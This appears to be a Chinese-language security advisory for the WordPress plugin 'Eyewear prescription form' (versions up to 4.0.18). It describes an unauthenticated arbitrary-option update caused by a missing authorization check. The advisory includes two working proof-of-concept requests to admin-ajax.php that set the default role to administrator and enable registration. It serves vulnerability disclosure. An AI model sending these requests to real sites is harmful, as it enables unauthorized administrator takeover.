Eyewear prescription form <= 4.0.18 - 缺少授权导致未认证的任意选项更新
WordPress 的 Eyewear prescription form 插件在所有版本(包括 4.0.18)中,由于 adminSetting() 函数缺少权限检查,容易受到未经授权的数据修改攻击,进而可能导致权限提升。这使得未认证的攻击者能够更新 WordPress 站点上的任意选项。该漏洞可被利用来将注册默认角色更新为管理员并启用用户注册,从而使攻击者获得对易受影响站点的管理员用户访问权限。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
action=adminSetting&data[settingCode]=default_role&data[settingValue]=administrator
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
action=adminSetting&data[settingCode]=users_can_register&data[settingValue]=1